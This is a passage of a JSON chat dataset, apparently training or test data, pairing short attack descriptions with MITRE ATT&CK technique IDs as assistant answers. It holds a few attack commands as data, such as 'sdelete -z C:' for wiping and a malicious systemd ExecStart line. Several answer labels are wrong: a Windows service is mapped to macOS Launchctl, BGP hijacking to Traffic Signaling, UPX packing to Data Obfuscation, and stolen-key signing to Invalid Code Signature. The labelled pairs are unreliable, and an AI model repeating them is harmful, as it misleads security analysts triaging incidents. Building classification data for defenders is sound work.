                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a third‑party DNS hosting service to redirect traffic to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the AES key exchange routine with a known weak key derivation function."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Linux ptrace system call to attach to a running process and inject malicious code into its memory space."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack code reads the SMBIOS/DMI data to look for manufacturer names that indicate a virtualized host."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script targets securityd's memory region to recover encrypted password store content on a compromised device."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised service account was used to upload a defaced index.html onto the internal documentation site."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrated a private key associated with a legitimate digital certificate from a compromised build server."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Odbcconf to modify the registry for a malicious ODBC driver, enabling persistence and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator creates a new IAM role in AWS by calling the AssumeRole API with a stolen access key."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 used the Group Policy Preferences feature to store and retrieve credentials, taking advantage of its lack of protection."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installed on the target system accessed the webcam device driver, recorded video without user consent, and transmitted the data over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised IoT device to relay exfiltrated data over MQTT to a remote broker."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code into the AllUsersAllHosts profile to run a PowerShell command that establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised corporate email address to distribute a PDF attachment laced with an embedded PowerShell payload targeting the finance team."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder alters environment variables to prioritize a directory containing a malicious executable over the default system directories."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation included compromising a cloud‑based DNS management service to alter hosted zones."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker loads a malicious kernel driver that runs in kernel mode to conceal files and processes from the operating system."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a custom MSI that calls a DLL with a malicious entry point, the attacker invokes msiexec /i custom.msi /quiet to execute the DLL under the context of the Windows Installer service."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Windows Service \"wuauserv\" to load a malicious DLL for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious LSASS driver that is set to start automatically at system startup for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By crafting a malicious MSI and calling msiexec /i, the attacker proxies execution through the system binary to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses a legitimate corporate email address to distribute a malicious attachment that, when opened, deploys a remote access trojan on the recipient's workstation."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested data from a public SharePoint site, extracting internal reports and uploading them to a dropbox account."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder exploits BGP route announcements to hijack Internet traffic and redirect it through a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise introduced a pre‑installed malicious hardware module into the new laptops before distribution."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system uses a proprietary protocol over Bluetooth Low Energy to receive commands from a nearby device."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious binaries are packed with UPX to conceal their original code and signatures."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a script that overwrites critical system files with random data, rendering the operating system unusable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators download archives of popular open‑source libraries from Codeberg and scan for OAuth client secrets."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaced the original 2048‑bit RSA certificate with a 512‑bit key to make decryption trivial."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a PowerShell script that reads files in 64 KB blocks and sends each block as an individual DNS query."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PDFs are hosted on a compromised file‑sharing site; when users open the PDFs, a drive‑by exploit chain drops a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leveraged nmap to probe IP ranges and identify active remote hosts and open ports across the corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool (RAT) includes a module that triggers the system's camera to capture video whenever the machine is idle, then uploads the footage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a non‑standard character substitution cipher on credential dumps prior to transmission over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers target the firmware signing process of a hardware manufacturer, signing malicious firmware that passes verification on end‑users' devices."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary systematically reviews open technical forums and code snippets to extract secrets and configuration parameters."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages Mimikatz to add a new credential for a service account."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered a GPO in Active Directory to add a new scheduled task that runs a malicious script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor persists by configuring a hidden executable as the LoginHook, which runs each time a user signs into Windows."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use ListPlanting to stealthily insert malicious code into the process list of explorer.exe, bypassing standard DLL load checks."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder hijacks a valid session token from a web application to access privileged data."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell's Get-NetIPConfiguration cmdlet to enumerate the computer's network adapters and default gateway."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Windows API function ExitWindowsEx to trigger a shutdown."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a .bat script that invoked the Windows command interpreter to modify registry keys."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware dropped a custom tool that adjusts NTFS permissions, giving the attacker read access to credential stores."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary accesses the Windows Location API to get latitude and longitude, then reports them back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Remote Desktop Services DLL to load a backdoor payload each time a user connects via RDP."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abused the SSH SFTP functionality to stage a credential‑dumping utility on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers re-sign a payload using a stolen code signing key, making it look like a legitimate update."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After achieving admin rights, the attacker initiates a secure delete operation using \"sdelete -z C:\" to zero out free space on the system drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor updates the RADIUS shared secret on a VPN concentrator to a value they control, enabling unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker executed a script that recursively encrypts all .docx and .xlsx files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performed SMB network service discovery across the LAN to map shared resources."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a system and promotes it to a domain controller without proper authorization, then uses it to push malicious Group Policy Objects to all machines."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a phishing email to deliver a payload that runs a PowerShell command to export mailboxes via the Get-Mailbox cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a malicious reverse proxy on a compromised web service to tunnel traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploited valid domain credentials to write a malicious executable to the \\\\SERVER\\ADMIN$ share."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration involved using a malicious browser extension to silently download files from the victim's cloud drive."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware periodically takes screenshots of the victim's desktop and saves them to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code into a popular CDN, causing browsers to download a backdoor on page load."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a hidden VirtualBox instance to conceal its execution and avoid detection by endpoint security tools."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor initiates a Bluetooth broadcast that captures and transmits recent chat logs from a victim's tablet to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to locate and dump credential files stored in temporary directories, such as %TEMP%\\creds.dat, which contain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers a SSL certificate for a malicious domain using a free certificate authority."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Image File Execution Options, the threat actor forces Windows to execute their malicious script every time the victim runs a particular system binary."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape LinkedIn for employee titles and contact information to assist in spear‑phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables certificate pinning in a mobile app, allowing it to accept self‑signed certificates and use weaker encryption algorithms."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs `net localgroup` to enumerate local Windows groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a new service with 'ExecStart=/tmp/badbinary' to the systemd configuration and enables it for boot-time execution."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed intrusion used .lnk files where the icon path references a .ico file in a hidden folder, disguising the malicious command."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors hijack a legitimate IoT device provisioning service to insert compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses chmod to add execute permission to a malicious script in /usr/local/bin on macOS."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hunt for the victim's owned web domains using public search tools to map the organization’s external footprint."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code updates the Outlook home page to a crafted malicious webpage, leading to automatic execution of a downloader upon Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential theft, the adversary manipulates the parent PID of its process token to bypass UAC prompts."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
